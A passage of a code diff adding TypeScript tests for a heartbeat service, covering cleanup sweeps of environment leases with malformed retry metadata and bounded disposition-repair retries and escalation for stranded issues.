+  // The cap warning fires only for a pending_cleanup lease at or above the cap.
+  // A lease that leaves pending_cleanup between the read and the claim must get
+  // no warn-flag write, because the claim carries a status predicate.
+  it("test_pending_cleanup_cap_warning_requires_pending_cleanup_status_and_cap", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // A lease at the cap. It leaves pending_cleanup right before the warn claim.
+    const cappedLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: ATTEMPT_CAP },
+    });
+
+    const destroyRunLease = vi.fn(async () => null);
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // A concurrent path moves the lease out of pending_cleanup right before the
+    // warn claim runs.
+    const hook = injectBeforeFirstLeaseClaim(async () => {
+      await db
+        .update(environmentLeases)
+        .set({ status: "expired" })
+        .where(eq(environmentLeases.id, cappedLeaseId));
+    });
+
+    try {
+      await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    } finally {
+      hook.restore();
+    }
+
+    // The lease left pending_cleanup, so the warn claim wrote no flag.
+    const metadata = await readMetadata(cappedLeaseId);
+    expect(metadata?.[CAP_WARNED_KEY]).not.toBe(true);
+
+    // The cap warning did not log.
+    const capWarnings = vi
+      .mocked(logger.warn)
+      .mock.calls.filter(
+        (call) =>
+          call[1] === "environment lease reached the pending_cleanup retry cap; left for manual cleanup",
+      );
+    expect(capWarnings.length).toBe(0);
+
+    // A lease below the cap gets no warn flag either. The retry path never
+    // reaches the cap branch.
+    const belowCapLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: ATTEMPT_CAP - 1 },
+    });
+    await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    const belowCapMetadata = await readMetadata(belowCapLeaseId);
+    expect(belowCapMetadata?.[CAP_WARNED_KEY]).not.toBe(true);
+  });
+
+  // Override a lease metadata root with a raw JSON value. The insert helper
+  // always writes an object root, so a scalar or array root test needs a raw
+  // update. The value binds as text and casts to jsonb, so `"5"` writes a number
+  // scalar root and `"[1,2,3]"` writes an array root.
+  async function setRawMetadataRoot(leaseId: string, rawJson: string): Promise<void> {
+    await db
+      .update(environmentLeases)
+      .set({ metadata: sql`${rawJson}::jsonb` })
+      .where(eq(environmentLeases.id, leaseId));
+  }
+
+  // A provider can write a negative attempt count. The SQL reader and the
+  // TypeScript reader both clamp a negative value to zero, so the claim predicate
+  // matches. The lease still claims one attempt and the destroy still runs.
+  it("test_pending_cleanup_negative_attempts_metadata_normalizes_and_lease_still_destroys", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // The negative-attempts lease sorts first. A thrown or mismatched claim would
+    // strand it before the sweep reaches the healthy lease.
+    const negativeLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 120 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: -3 },
+    });
+    const healthyLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy succeeds and moves each lease out of pending_cleanup.
+    const destroyedLeaseIds: string[] = [];
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      destroyedLeaseIds.push(lease.id);
+      const now = new Date();
+      const row = await db
+        .update(environmentLeases)
+        .set({ status: "expired", cleanupStatus: "success", updatedAt: now })
+        .where(eq(environmentLeases.id, lease.id))
+        .returning()
+        .then((rows) => rows[0] ?? null);
+      return row ? { ...row, status: "expired" as const } : null;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // The sweep resolves; the negative value does not strand the lease.
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(result.swept).toBe(2);
+
+    // The negative-attempts lease claimed one attempt and destroyed.
+    expect(destroyedLeaseIds).toContain(negativeLeaseId);
+    expect(destroyedLeaseIds).toContain(healthyLeaseId);
+    expect(result.destroyed).toBe(2);
+
+    // The negative value normalized to zero, so the claim advanced it to one.
+    const negativeMetadata = await readMetadata(negativeLeaseId);
+    expect(negativeMetadata?.[ATTEMPTS_KEY]).toBe(1);
+
+    const negativeStatus = await db
+      .select({ status: environmentLeases.status })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, negativeLeaseId))
+      .then((rows) => rows[0]?.status);
+    expect(negativeStatus).toBe("expired");
+  });
+
+  // A provider can write a finite number outside the 32-bit integer range. The
+  // SQL reader computes as numeric and clamps to the cap, so the `::int` cast
+  // never runs on the stored value. The sweep does not throw, and the malformed
+  // lease normalizes into the cap behavior.
+  it("test_pending_cleanup_out_of_range_attempts_metadata_does_not_abort_sweep", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // The out-of-range lease sorts first. A thrown cast would abort before the
+    // sweep reaches the healthy lease.
+    const outOfRangeLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 120 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: 1e300 },
+    });
+    const healthyLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy fails, so the healthy lease stays pending_cleanup and the test
+    // can confirm the sweep reached it.
+    const destroyedLeaseIds: string[] = [];
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      destroyedLeaseIds.push(lease.id);
+      return null;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // The sweep resolves; the out-of-range value does not abort the page.
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(result.swept).toBe(2);
+
+    // The value clamped to the cap, so the lease took the cap branch, not a
+    // destroy. The warn-once flag is set exactly once.
+    expect(result.capped).toBe(1);
+    expect(destroyedLeaseIds).not.toContain(outOfRangeLeaseId);
+    const outOfRangeMetadata = await readMetadata(outOfRangeLeaseId);
+    expect(outOfRangeMetadata?.[CAP_WARNED_KEY]).toBe(true);
+
+    // The sweep still processed the healthy lease.
+    expect(destroyedLeaseIds).toContain(healthyLeaseId);
+  });
+
+  // A provider can write a scalar metadata root. `jsonb_set` fails on a
+  // non-object root, so the reader falls back to an empty object. The sweep does
+  // not throw, and the lease still claims one attempt and destroys.
+  it("test_pending_cleanup_scalar_metadata_root_does_not_abort_sweep", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // The scalar-root lease sorts first. A failed `jsonb_set` would abort before
+    // the sweep reaches the healthy lease.
+    const scalarLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 120 * 60 * 1000),
+    });
+    await setRawMetadataRoot(scalarLeaseId, "5");
+    const healthyLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy succeeds and moves each lease out of pending_cleanup.
+    const destroyedLeaseIds: string[] = [];
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      destroyedLeaseIds.push(lease.id);
+      const now = new Date();
+      const row = await db
+        .update(environmentLeases)
+        .set({ status: "expired", cleanupStatus: "success", updatedAt: now })
+        .where(eq(environmentLeases.id, lease.id))
+        .returning()
+        .then((rows) => rows[0] ?? null);
+      return row ? { ...row, status: "expired" as const } : null;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // The sweep resolves; the scalar root does not break the claim write.
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(result.swept).toBe(2);
+    expect(result.destroyed).toBe(2);
+    expect(destroyedLeaseIds).toContain(scalarLeaseId);
+    expect(destroyedLeaseIds).toContain(healthyLeaseId);
+
+    // The claim replaced the scalar root with an object that holds one attempt.
+    const scalarMetadata = await readMetadata(scalarLeaseId);
+    expect(scalarMetadata?.[ATTEMPTS_KEY]).toBe(1);
+  });
+
+  // A provider can write an array metadata root. `jsonb_set` fails on a
+  // non-object root, so the reader falls back to an empty object. The sweep does
+  // not throw, and the lease still claims one attempt and destroys.
+  it("test_pending_cleanup_array_metadata_root_does_not_abort_sweep", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // The array-root lease sorts first. A failed `jsonb_set` would abort before
+    // the sweep reaches the healthy lease.
+    const arrayLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 120 * 60 * 1000),
+    });
+    await setRawMetadataRoot(arrayLeaseId, "[1, 2, 3]");
+    const healthyLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy succeeds and moves each lease out of pending_cleanup.
+    const destroyedLeaseIds: string[] = [];
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      destroyedLeaseIds.push(lease.id);
+      const now = new Date();
+      const row = await db
+        .update(environmentLeases)
+        .set({ status: "expired", cleanupStatus: "success", updatedAt: now })
+        .where(eq(environmentLeases.id, lease.id))
+        .returning()
+        .then((rows) => rows[0] ?? null);
+      return row ? { ...row, status: "expired" as const } : null;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // The sweep resolves; the array root does not break the claim write.
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(result.swept).toBe(2);
+    expect(result.destroyed).toBe(2);
+    expect(destroyedLeaseIds).toContain(arrayLeaseId);
+    expect(destroyedLeaseIds).toContain(healthyLeaseId);
+
+    // The claim replaced the array root with an object that holds one attempt.
+    const arrayMetadata = await readMetadata(arrayLeaseId);
+    expect(arrayMetadata?.[ATTEMPTS_KEY]).toBe(1);
+  });
+
+  it("flushes the in-process orphan buffer before the read, so a freshly landed row is swept the same tick", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // The flush lands one durable orphan row, exactly as the runtime buffer does
+    // after the database recovers. The sweep must run this flush before it reads
+    // the rows, so the same tick tears the freshly-landed orphan down.
+    const flushDeferredOrphanCleanups = vi.fn(async () => {
+      await insertOrphanEphemeralLease({
+        companyId,
+        environmentId,
+        updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+      });
+      return { recovered: 1, pending: 0 };
+    });
+    // The recorded-data teardown succeeds, so the sweep releases the lease.
+    const retryPendingSandboxTeardown = vi.fn(async () => {});
+    const runtime = {
+      flushDeferredOrphanCleanups,
+      retryPendingSandboxTeardown,
+    } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtime });
+
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+
+    // The flush ran once before the read, so the row it landed is visible to the
+    // same sweep and tears down through the recorded-data teardown path.
+    expect(flushDeferredOrphanCleanups).toHaveBeenCalledTimes(1);
+    expect(retryPendingSandboxTeardown).toHaveBeenCalledTimes(1);
+    expect(result).toEqual({ swept: 1, destroyed: 1, capped: 0 });
+
+    const rows = await db.select().from(environmentLeases);
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.status).toBe("expired");
+    expect(rows[0]?.cleanupStatus).toBe("success");
+  });
+});
diff --git a/server/src/__tests__/heartbeat-process-recovery.test.ts b/server/src/__tests__/heartbeat-process-recovery.test.ts
index 7ada8c774b1..25f031c9457 100644
--- a/server/src/__tests__/heartbeat-process-recovery.test.ts
+++ b/server/src/__tests__/heartbeat-process-recovery.test.ts
@@ -119,6 +119,7 @@ import {
   SUCCESSFUL_RUN_MISSING_STATE_REASON,
   noticeMetadataReferencesRecoveryAction,
 } from "../services/recovery/index.ts";
+import { collectDispositionRepairSourceState } from "../services/recovery/disposition-repair.ts";
 import {
   UNMANAGED_BACKGROUND_TASK_LIVENESS_REASON,
   UNMANAGED_BACKGROUND_TASK_STOP_REASON,
@@ -425,6 +426,10 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
     await db.delete(agentWakeupRequests);
     await db.delete(budgetPolicies);
     for (let attempt = 0; attempt < 5; attempt += 1) {
+      // A still-alive recovery child process can insert a new wakeup request
+      // or runtime-state row after the first delete. Re-clear both rows each
+      // attempt so a late insert cannot hold the agents foreign key.
+      await db.delete(agentWakeupRequests);
       await db.delete(agentRuntimeState);
       try {
         await db.delete(agents);
@@ -3257,7 +3262,7 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
         status: "failed",
         error: "Failed to start command",
         errorCode: "adapter_failed",
-        scheduledRetryAttempt: 3,
+        scheduledRetryAttempt: 5,
         scheduledRetryReason: INTERACTION_CONTINUATION_INFRA_RETRY_REASON,
         contextSnapshot: {
           issueId,
@@ -3281,12 +3286,12 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
     const result = await heartbeat.scheduleBoundedRetry(runId, {
       retryReason: INTERACTION_CONTINUATION_INFRA_RETRY_REASON,
       wakeReason: INTERACTION_CONTINUATION_INFRA_WAKE_REASON,
-      maxAttempts: 3,
+      maxAttempts: 5,
     });
 
     expect(result).toMatchObject({
       outcome: "retry_exhausted",
-      maxAttempts: 3,
+      maxAttempts: 5,
     });
 
     const issue = await db
@@ -3325,8 +3330,8 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
       resumeFailure: {
         status: "needs_attention",
         errorCode: "adapter_failed",
-        attempt: 3,
-        maxAttempts: 3,
+        attempt: 5,
+        maxAttempts: 5,
         runId,
         recoveryActionId: recoveryAction?.id ?? null,
       },
@@ -3511,6 +3516,19 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
       errorCode: "workspace_validation_failed",
     });
     expect(failedRun?.error).toContain("linked to a project workspace but has no project id");
+    // The adapter process never started, so no agent could post an issue
+    // comment. The comment policy is not_applicable and no missing-comment
+    // retry is queued, which stops a pre-adapter setup failure from looping.
+    expect(failedRun?.processStartedAt).toBeNull();
+    expect(failedRun?.issueCommentStatus).toBe("not_applicable");
+    const missingCommentWakeups = await db
+      .select()
+      .from(agentWakeupRequests)
+      .where(and(
+        eq(agentWakeupRequests.companyId, companyId),
+        eq(agentWakeupRequests.reason, "missing_issue_comment"),
+      ));
+    expect(missingCommentWakeups).toHaveLength(0);
     expect(failedRun?.resultJson).toMatchObject({
       workspaceValidation: {
         reason: "missing_project_id",
@@ -4296,8 +4314,8 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
     expect(comments[0]?.body).not.toContain("issue_continuation_waiting_on_review");
   });
 
-  it("still escalates a continuation parked for review when no open dependency remains", async () => {
-    const { companyId, issueId } = await seedStrandedIssueFixture({
+  it("repairs the PAP-16986 deliberate wait through the original owner when no target exists", async () => {
+    const { companyId, agentId, issueId } = await seedStrandedIssueFixture({
       status: "in_progress",
       runStatus: "cancelled",
       retryReason: "issue_continuation_needed",
@@ -4308,10 +4326,627 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
     const heartbeat = heartbeatService(db);
     const result = await heartbeat.reconcileStrandedAssignedIssues();
 
-    // With no real waiting target, the deliberate-wait conversion must not fire;
-    // genuine-strand detection downstream is preserved.
     expect(result.waitingOnReviewResolved).toBe(0);
+    expect(result.continuationRequeued).toBe(1);
+    expect(result.dispositionRepairRequeued).toBe(1);
+    expect(result.escalated).toBe(0);
     await expect(sourceBlockerIssueIds(companyId, issueId)).resolves.toEqual([]);
+
+    const sourceIssue = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0] ?? null);
+    expect(sourceIssue).toMatchObject({
+      status: "in_progress",
+      assigneeAgentId: agentId,
+    });
+
+    const action = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(and(
+        eq(issueRecoveryActions.companyId, companyId),
+        eq(issueRecoveryActions.sourceIssueId, issueId),
+      ))
+      .then((rows) => rows[0] ?? null);
+    expect(action).toMatchObject({
+      kind: "deliberate_wait_without_target",
+      status: "active",
+      ownerAgentId: agentId,
+      previousOwnerAgentId: agentId,
+      returnOwnerAgentId: agentId,
+      attemptCount: 1,
+      maxAttempts: 5,
+    });
+    expect(action?.fingerprint).toMatch(/^disposition_repair:v1:/);
+    expect(action?.wakePolicy).toMatchObject({
+      type: "bounded_owner_disposition_repair",
+      retryAgentId: agentId,
+      attempt: 1,
+      maxAttempts: 5,
+      baseBackoffMs: 0,
+      jitterMs: 0,
+    });
+
+    const repairRun = await waitForValue(async () => {
+      const rows = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.agentId, agentId));
+      return rows.find((run) =>
+        (run.contextSnapshot as { retryReason?: string } | null)?.retryReason ===
+          "issue_disposition_repair"
+      ) ?? null;
+    });
+    expect(repairRun?.contextSnapshot).toMatchObject({
+      issueId,
+      retryReason: "issue_disposition_repair",
+      dispositionRepairFingerprint: action?.fingerprint,
+      dispositionRepairAttempt: 1,
+      dispositionRepairMaxAttempts: 5,
+    });
+    expect(repairRun?.contextSnapshot).not.toHaveProperty("modelProfile");
+    expect(repairRun?.contextSnapshot).not.toHaveProperty("allowDeliverableWork");
+  });
+
+  it("folds a persisted disposition-repair action when a current typed wait appears", async () => {
+    const { companyId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    await db.delete(activityLog);
+    await db.delete(heartbeatRunEvents);
+    await db.delete(heartbeatRuns);
+    await db.delete(agentWakeupRequests);
+    const sourceIssue = await db.select().from(issues).where(eq(issues.id, issueId)).then((rows) => rows[0]!);
+    const sourceState = await collectDispositionRepairSourceState(db, { issue: sourceIssue });
+    const action = await db
+      .insert(issueRecoveryActions)
+      .values({
+        companyId,
+        sourceIssueId: issueId,
+        kind: "deliberate_wait_without_target",
+        status: "active",
+        ownerType: "agent",
+        ownerAgentId: sourceIssue.assigneeAgentId,
+        previousOwnerAgentId: sourceIssue.assigneeAgentId,
+        returnOwnerAgentId: sourceIssue.assigneeAgentId,
+        cause: "deliberate_wait_without_target",
+        fingerprint: sourceState.fingerprint,
+        evidence: { sourceStateFingerprint: sourceState.fingerprint },
+        nextAction: "Record a durable disposition.",
+        wakePolicy: { type: "bounded_owner_disposition_repair", attempt: 1, maxAttempts: 5 },
+        attemptCount: 1,
+        maxAttempts: 5,
+        timeoutAt: new Date(Date.now() - 60_000),
+      })
+      .returning()
+      .then((rows) => rows[0]!);
+    await db.update(issues).set({ status: "in_review" }).where(eq(issues.id, issueId));
+    await db.insert(issueThreadInteractions).values({
+      id: randomUUID(),
+      companyId,
+      issueId,
+      kind: "request_confirmation",
+      status: "pending",
+      continuationPolicy: "wake_assignee",
+      payload: { version: 1, prompt: "Confirm the current disposition." },
+    });
+
+    await heartbeatService(db).reconcileStrandedAssignedIssues();
+
+    const folded = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(eq(issueRecoveryActions.id, action.id))
+      .then((rows) => rows[0] ?? null);
+    expect(folded).toMatchObject({
+      status: "resolved",
+      outcome: "restored",
+      resolutionNote: "durable_path_restored:interaction",
+      attemptCount: 1,
+      maxAttempts: 5,
+    });
+  });
+
+  it("reschedules an expired persisted disposition repair without duplicating the retry", async () => {
+    const { companyId, agentId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    await db.delete(activityLog);
+    await db.delete(heartbeatRunEvents);
+    await db.delete(heartbeatRuns);
+    await db.delete(agentWakeupRequests);
+    const sourceIssue = await db.select().from(issues).where(eq(issues.id, issueId)).then((rows) => rows[0]!);
+    const sourceState = await collectDispositionRepairSourceState(db, { issue: sourceIssue });
+    const action = await db
+      .insert(issueRecoveryActions)
+      .values({
+        companyId,
+        sourceIssueId: issueId,
+        kind: "deliberate_wait_without_target",
+        status: "active",
+        ownerType: "agent",
+        ownerAgentId: agentId,
+        previousOwnerAgentId: agentId,
+        returnOwnerAgentId: agentId,
+        cause: "deliberate_wait_without_target",
+        fingerprint: sourceState.fingerprint,
+        evidence: { sourceStateFingerprint: sourceState.fingerprint },
+        nextAction: "Record a durable disposition.",
+        wakePolicy: { type: "bounded_owner_disposition_repair", attempt: 1, maxAttempts: 5 },
+        attemptCount: 1,
+        maxAttempts: 5,
+        timeoutAt: new Date(Date.now() - 60_000),
+      })
+      .returning()
+      .then((rows) => rows[0]!);
+
+    const restartedHeartbeat = heartbeatService(db);
+    await restartedHeartbeat.reconcileStrandedAssignedIssues();
+    await restartedHeartbeat.reconcileStrandedAssignedIssues();
+
+    const [rescheduledAction, retries] = await Promise.all([
+      db
+        .select()
+        .from(issueRecoveryActions)
+        .where(eq(issueRecoveryActions.id, action.id))
+        .then((rows) => rows[0] ?? null),
+      db
+        .select()
+        .from(heartbeatRuns)
+        .where(and(
+          eq(heartbeatRuns.companyId, companyId),
+          eq(heartbeatRuns.agentId, agentId),
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action.id}`,
+          sql`${heartbeatRuns.contextSnapshot} ->> 'dispositionRepairAttempt' = '2'`,
+        )),
+    ]);
+    expect(rescheduledAction).toMatchObject({
+      status: "active",
+      attemptCount: 2,
+      maxAttempts: 5,
+    });
+    expect(rescheduledAction?.wakePolicy).toMatchObject({
+      type: "bounded_owner_disposition_repair",
+      attempt: 2,
+      maxAttempts: 5,
+    });
+    expect(retries).toHaveLength(1);
+    expect(retries[0]).toMatchObject({
+      status: "scheduled_retry",
+      scheduledRetryAttempt: 2,
+      scheduledRetryReason: "issue_disposition_repair",
+    });
+  });
+
+  it("atomically deduplicates concurrent disposition-repair reconciliation", async () => {
+    const { companyId, agentId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    await db.delete(activityLog);
+    await db.delete(heartbeatRunEvents);
+    await db.delete(heartbeatRuns);
+    await db.delete(agentWakeupRequests);
+    const sourceIssue = await db.select().from(issues).where(eq(issues.id, issueId)).then((rows) => rows[0]!);
+    const sourceState = await collectDispositionRepairSourceState(db, { issue: sourceIssue });
+    const action = await db
+      .insert(issueRecoveryActions)
+      .values({
+        companyId,
+        sourceIssueId: issueId,
+        kind: "deliberate_wait_without_target",
+        status: "active",
+        ownerType: "agent",
+        ownerAgentId: agentId,
+        previousOwnerAgentId: agentId,
+        returnOwnerAgentId: agentId,
+        cause: "deliberate_wait_without_target",
+        fingerprint: sourceState.fingerprint,
+        evidence: { sourceStateFingerprint: sourceState.fingerprint },
+        nextAction: "Record a durable disposition.",
+        wakePolicy: { type: "bounded_owner_disposition_repair", attempt: 1, maxAttempts: 5 },
+        attemptCount: 1,
+        maxAttempts: 5,
+        timeoutAt: new Date(Date.now() - 60_000),
+      })
+      .returning()
+      .then((rows) => rows[0]!);
+
+    await Promise.all([
+      heartbeatService(db).reconcileStrandedAssignedIssues(),
+      heartbeatService(db).reconcileStrandedAssignedIssues(),
+    ]);
+
+    const [requests, retries, scheduledActivities] = await Promise.all([
+      db
+        .select()
+        .from(agentWakeupRequests)
+        .where(and(
+          eq(agentWakeupRequests.companyId, companyId),
+          sql`${agentWakeupRequests.idempotencyKey} LIKE 'issue_disposition_repair:%'`,
+          sql`${agentWakeupRequests.status} <> 'skipped'`,
+        )),
+      db
+        .select()
+        .from(heartbeatRuns)
+        .where(and(
+          eq(heartbeatRuns.companyId, companyId),
+          eq(heartbeatRuns.agentId, agentId),
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action.id}`,
+          sql`${heartbeatRuns.contextSnapshot} ->> 'dispositionRepairAttempt' = '2'`,
+        )),
+      db
+        .select()
+        .from(activityLog)
+        .where(and(
+          eq(activityLog.companyId, companyId),
+          eq(activityLog.action, "issue.disposition_repair_scheduled"),
+          eq(activityLog.entityId, action.id),
+        )),
+    ]);
+    expect(requests).toHaveLength(1);
+    expect(retries).toHaveLength(1);
+    expect(scheduledActivities).toHaveLength(1);
+  });
+
+  it("does not reset disposition repair for prose but does reset for durable source state", async () => {
+    const { companyId, agentId, runId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    const sourceIssue = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0]!);
+    const initial = await collectDispositionRepairSourceState(db, { issue: sourceIssue });
+
+    await db.insert(issueComments).values({
+      companyId,
+      issueId,
+      authorAgentId: agentId,
+      body: "Parked summary: waiting for review, with no typed target.",
+    });
+    const afterProse = await collectDispositionRepairSourceState(db, { issue: sourceIssue });
+    expect(afterProse.fingerprint).toBe(initial.fingerprint);
+
+    await db
+      .update(issues)
+      .set({ executionPolicy: { mode: "auto" } })
+      .where(eq(issues.id, issueId));
+    const changedIssue = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0]!);
+    const afterDurableChange = await collectDispositionRepairSourceState(db, { issue: changedIssue });
+    expect(afterDurableChange.fingerprint).not.toBe(initial.fingerprint);
+
+    await db
+      .update(heartbeatRuns)
+      .set({
+        contextSnapshot: {
+          issueId,
+          taskId: issueId,
+          wakeReason: "issue_disposition_repair",
+          retryReason: "issue_disposition_repair",
+          dispositionRepairFingerprint: initial.fingerprint,
+          dispositionRepairAttempt: 5,
+          dispositionRepairMaxAttempts: 5,
+        },
+      })
+      .where(eq(heartbeatRuns.id, runId));
+    const result = await heartbeatService(db).reconcileStrandedAssignedIssues();
+    expect(result.dispositionRepairRequeued).toBe(1);
+    expect(result.escalated).toBe(0);
+
+    const action = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(and(
+        eq(issueRecoveryActions.companyId, companyId),
+        eq(issueRecoveryActions.sourceIssueId, issueId),
+      ))
+      .then((rows) => rows[0] ?? null);
+    expect(action).toMatchObject({
+      fingerprint: afterDurableChange.fingerprint,
+      attemptCount: 1,
+      maxAttempts: 5,
+      status: "active",
+    });
+  });
+
+  it("refuses source and manager attempt six without transferring the source", async () => {
+    const { companyId, agentId, runId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    const managerId = randomUUID();
+    await db.insert(agents).values({
+      id: managerId,
+      companyId,
+      name: "Recovery CTO",
+      role: "cto",
+      status: "idle",
+      adapterType: "codex_local",
+      adapterConfig: {},
+      runtimeConfig: {},
+      permissions: {},
+    });
+    await db.update(agents).set({ reportsTo: managerId }).where(eq(agents.id, agentId));
+
+    const sourceIssue = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0]!);
+    const state = await collectDispositionRepairSourceState(db, { issue: sourceIssue });
+    await db
+      .update(heartbeatRuns)
+      .set({
+        contextSnapshot: {
+          issueId,
+          taskId: issueId,
+          wakeReason: "issue_disposition_repair",
+          retryReason: "issue_disposition_repair",
+          dispositionRepairFingerprint: state.fingerprint,
+          dispositionRepairAttempt: 5,
+          dispositionRepairMaxAttempts: 5,
+        },
+      })
+      .where(eq(heartbeatRuns.id, runId));
+
+    const result = await heartbeatService(db).reconcileStrandedAssignedIssues();
+    expect(result.dispositionRepairRequeued).toBe(0);
+    expect(result.escalated).toBe(1);
+
+    const sourceAfter = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0] ?? null);
+    expect(sourceAfter).toMatchObject({
+      status: "blocked",
+      assigneeAgentId: agentId,
+    });
+
+    const action = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(and(
+        eq(issueRecoveryActions.companyId, companyId),
+        eq(issueRecoveryActions.sourceIssueId, issueId),
+      ))
+      .then((rows) => rows[0] ?? null);
+    expect(action).toMatchObject({
+      kind: "deliberate_wait_without_target",
+      status: "active",
+      ownerAgentId: managerId,
+      previousOwnerAgentId: agentId,
+      returnOwnerAgentId: agentId,
+      attemptCount: 1,
+      maxAttempts: 5,
+      resolutionNote: "unchanged_source_state_exhausted",
+    });
+    expect(action?.evidence).toMatchObject({
+      terminalReason: "unchanged_source_state_exhausted",
+      sourceAttemptCount: 5,
+      sourceMaxAttempts: 5,
+    });
+    const sourceAttemptSix = await db
+      .select({ id: heartbeatRuns.id })
+      .from(heartbeatRuns)
+      .where(and(
+        eq(heartbeatRuns.companyId, companyId),
+        eq(heartbeatRuns.agentId, agentId),
+        sql`${heartbeatRuns.contextSnapshot} ->> 'dispositionRepairAttempt' = '6'`,
+      ));
+    expect(sourceAttemptSix).toHaveLength(0);
+    expect(action?.wakePolicy).toMatchObject({
+      type: "bounded_recovery_owner",
+      attempt: 1,
+      maxAttempts: 5,
+      preservesSourceAssignee: true,
+    });
+
